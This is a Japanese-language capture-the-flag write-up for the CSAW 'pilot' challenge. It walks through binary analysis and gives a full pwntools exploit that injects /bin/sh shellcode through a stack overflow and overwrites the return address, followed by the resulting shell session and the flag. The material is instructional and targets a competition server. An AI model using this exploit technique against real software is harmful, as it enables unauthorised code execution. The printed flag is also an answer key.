Pwn
pilot

Can I take your order?

nc pwn.chal.csaw.io 8464

16:05 Eastern: Updated binary

fileコマンドでダウンロードしたファイルのファイルタイプを確認してみます。64bitのLinux実行ファイルです。
$ file pilot 
pilot: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=6ed26a43b94fd3ff1dd15964e4106df72c01dc6c, stripped
checksecスクリプトでこの実行ファイルのセキュリティを確認します。canary無し、NX無効なのでスタックオーバーフローの脆弱性をついてシェルコードを埋め込むことができそうです。
$ checksec.sh --file pilot 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   pilot
objdumpコマンドで逆アセンブルして詳細な処理を確認します。
$ objdump -s -D pilot > aaa.txt
400aa4~400aaeの部分でrbp-0x20の値を出力しています。この値はLocation:の後ろの部分に出力されます。400acf~400ae0の部分でユーザからの入力をバッファに読み込んでいます。読込先のアドレスはrbp-0x20で64バイト分読み込んでいます。ここでシェルコードを注入してバッファオーバーフローを起こし400b35のretでの戻り先に注入したシェルコードの先頭アドレスを設定できれば良さそうです。
  400a92: be 77 0d 40 00       mov    $0x400d77,%esi #[*]Location:
  400a97: bf a0 20 60 00       mov    $0x6020a0,%edi
  400a9c: e8 bf fd ff ff       callq  400860 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
  400aa1: 48 89 c2             mov    %rax,%rdx
  400aa4: 48 8d 45 e0           lea    -0x20(%rbp),%rax
  400aa8: 48 89 c6             mov    %rax,%rsi
  400aab: 48 89 d7             mov    %rdx,%rdi
  400aae: e8 bd fd ff ff       callq  400870 <_ZNSolsEPKv@plt>
  400ab3: be 90 08 40 00       mov    $0x400890,%esi
  400ab8: 48 89 c7             mov    %rax,%rdi
  400abb: e8 c0 fd ff ff       callq  400880 <_ZNSolsEPFRSoS_E@plt>
  400ac0: be 84 0d 40 00       mov    $0x400d84,%esi #[*]Command:
  400ac5: bf a0 20 60 00       mov    $0x6020a0,%edi
  400aca: e8 91 fd ff ff       callq  400860 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
  400acf: 48 8d 45 e0           lea    -0x20(%rbp),%rax
  400ad3: ba 40 00 00 00       mov    $0x40,%edx #読み込みサイズ(64バイト)
  400ad8: 48 89 c6             mov    %rax,%rsi   #読込先バッファ(rbp-0x20)
  400adb: bf 00 00 00 00       mov    $0x0,%edi  #ファイルディスクリプタ(0)
  400ae0: e8 3b fd ff ff       callq  400820 <read@plt>
(略)
  400b2f: b8 00 00 00 00       mov    $0x0,%eax
  400b34: c9                   leaveq 
  400b35: c3                   retq   
指示されたサーバに接続してみます。[*]Locatin:の後に出力されている16進数値が読み込み先のアドレスになります。
>nc.exe pwn.chal.csaw.io 8464
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions t
o save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffd160ba730
[*]Command:

下図のようにスタックを上書きします。
1

以上を踏まえて、Pythonでエクスプロイトコードを書きます。
#!/usr/bin/env python2
from pwn import *
import time
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
if args.local:
    p = process('./pilot')
else:
    p = remote('pwn.chal.csaw.io', 8464)

context(os='linux', arch='amd64')
shellcode = asm(shellcraft.sh())

p.recvuntil('[*]Good Luck Pilot!....\n')
loc = p.recvline()
print(loc)
ary = loc.split(':')
p.recvuntil('[*]Command:')
p.send(
''
+ shellcode
+ 'A' * (40 - len(shellcode))
+ p64(int(ary[1], 0))
)
time.sleep(0.1)
p.interactive()
実行すると次のとおりフラグを得ることができました。
$ python aaa.py
(略)
[DEBUG] Received 0x174 bytes:
    '[*]Welcome DropShip Pilot...\n'
    '[*]I am your assitant A.I....\n'
    '[*]I will be guiding you through the tutorial....\n'
    '[*]As a first step, lets learn how to land at the designated location....\n'
    '[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...\n'
    '[*]Good Luck Pilot!....\n'
    '[*]Location:0x7ffd45748a50\n'
    '[*]Command:'
[*]Location:0x7ffd45748a50

[DEBUG] Sent 0x30 bytes:
    00000000  6a 68 48 b8  2f 62 69 6e  2f 2f 2f 73  50 48 89 e7  │jhH·│/bin│///s│PH··│
    00000010  31 f6 6a 3b  58 99 0f 05  41 41 41 41  41 41 41 41  │1·j;│X···│AAAA│AAAA│
    00000020  41 41 41 41  41 41 41 41  50 8a 74 45  fd 7f 00 00  │AAAA│AAAA│P·tE│····│
    00000030
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0xb bytes:
    'flag\n'
    'pilot\n'
flag
pilot
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x31 bytes:
    'flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}\n'
flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}
フラグは、
flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}